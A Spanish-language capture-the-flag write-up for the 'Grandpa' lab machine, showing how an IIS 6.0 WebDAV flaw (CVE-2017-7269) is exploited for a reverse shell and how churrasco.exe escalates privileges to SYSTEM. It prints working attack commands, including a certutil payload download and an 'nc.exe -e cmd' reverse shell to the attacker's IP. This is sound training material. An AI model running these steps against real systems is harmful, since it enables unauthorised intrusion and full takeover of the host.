Grandpa - Writeup

RECONOCIMIENTO - EXPLOTACION

Realizamos un escaneo de puertos con nmap:

```
PORT   STATE SERVICE REASON          VERSION
80/tcp open  http    syn-ack ttl 127 Microsoft IIS httpd 6.0
| http-webdav-scan:
|   Server Type: Microsoft-IIS/6.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND,
```

Nos damos cuenta que tiene una version de IIS vulnerable, la 6.0. Hay un exploit en github que especificando la ip local y objetivo y el puerto local y objetivo te genera una shellcode que permite ejecutar una reverse shell. Para ello:

Descargamos el explot:

- https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269/blob/master/iis6%20reverse%20shell

Como podemos ver el exploit se alimenta de los argumentos que indicamos tras el exploit:

```
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])
```

Nos ponemos a la escucha con netcat y lanzamos el exploit con los siguientes agumentos:

- `python2 webdav2.py 10.10.10.14 80 10.10.14.5 1234`

Recibimos la conexion:

```
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.14] 1032
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service
```

ESCALADA DE PRIVILEGIOS

```
c:\windows\system32\inetsrv>systeminfo
systeminfo

Host Name:                 GRANPA
OS Name:                   Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:                5.2.3790 Service Pack 2 Build 3790
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Uniprocessor Free
```

Estamos ante un windows 2003 vamos a ver nuestros privilegios:

```
c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAuditPrivilege              Generate security audits                  Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
```

Como tenemos el privilegio de "SeImpersonatePrivilege" y estamos ante la version 2003 de Windows podemos tirar del exploit "churrasco.exe" para poder ejecutar privilegios como "nt authority system". Para ello nos lo descargamos con certutil:

```
C:\temp>certutil -urlcache -f http://10.10.14.5/churrasco.exe churrasco.exe
certutil -urlcache -f http://10.10.14.5/churrasco.exe churrasco.exe
CertUtil: -URLCache command FAILED: 0x80070057 (WIN32: 87)
CertUtil: The parameter is incorrect.
```

Como es una version antigua no dispone del parametro "-urlcache". Para ello compartimos una carpeta desde nuestro kali con "impacket-smbserver" y nos lo copiamos desde la maquina victima:

```
C:\temp>copy \\10.10.14.5\share\churrasco.exe churrasco.exe
copy \\10.10.14.5\share\churrasco.exe churrasco.exe
        1 file(s) copied.
```

Vamos a probar si "churrasco.exe" ejecuta comandos como "nt authority system":

```
C:\temp>churrasco.exe -d "whoami"
churrasco.exe -d "whoami"
/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 672
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 676
/churrasco/-->Thread not impersonating, looking for another thread ...
/churrasco/-->Found Thread: 680
/churrasco/-->Thread not impersonating, looking for another thread ...
/churrasco/-->Found Thread: 688
/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x734
/churrasco/-->Getting SYSTEM token from Rpcss Service ...
/churrasco/-->Found NETWORK SERVICE Token
/churrasco/-->Found LOCAL SERVICE Token
/churrasco/-->Found SYSTEM token 0x72c
/churrasco/-->Running command with SYSTEM Token ...
/churrasco/-->Done, command should have ran as SYSTEM!
nt authority\system
```

Como vemos que funciona, vamos a descargarnos "nc.exe" y lo compartimos por smb:

```
└─$ impacket-smbserver share .
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Nos ponemos a la escucha con netcat y desde la maquina victima, con "churrasco.exe" ejecutamos "nc.exe" que compartimos desde nuestra maquina para recibir la conexion:

```
C:\temp>churrasco.exe -d "\\10.10.14.5\share\nc.exe -e cmd 10.10.14.5 1234"
churrasco.exe -d "\\10.10.14.5\share\nc.exe -e cmd 10.10.14.5 1234"
/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 672
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 676
/churrasco/-->Thread not impersonating, looking for another thread ...
/churrasco/-->Found Thread: 680
/churrasco/-->Thread not impersonating, looking for another thread ...
/churrasco/-->Found Thread: 688
/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x734
/churrasco/-->Getting SYSTEM token from Rpcss Service ...
/churrasco/-->Found NETWORK SERVICE Token
/churrasco/-->Found LOCAL SERVICE Token
/churrasco/-->Found SYSTEM token 0x72c
/churrasco/-->Running command with SYSTEM Token ...
/churrasco/-->Done, command should have ran as SYSTEM!
```

Y recibimos la conexion:

```
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.14] 1037
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\TEMP>whoami
whoami
nt authority\system
```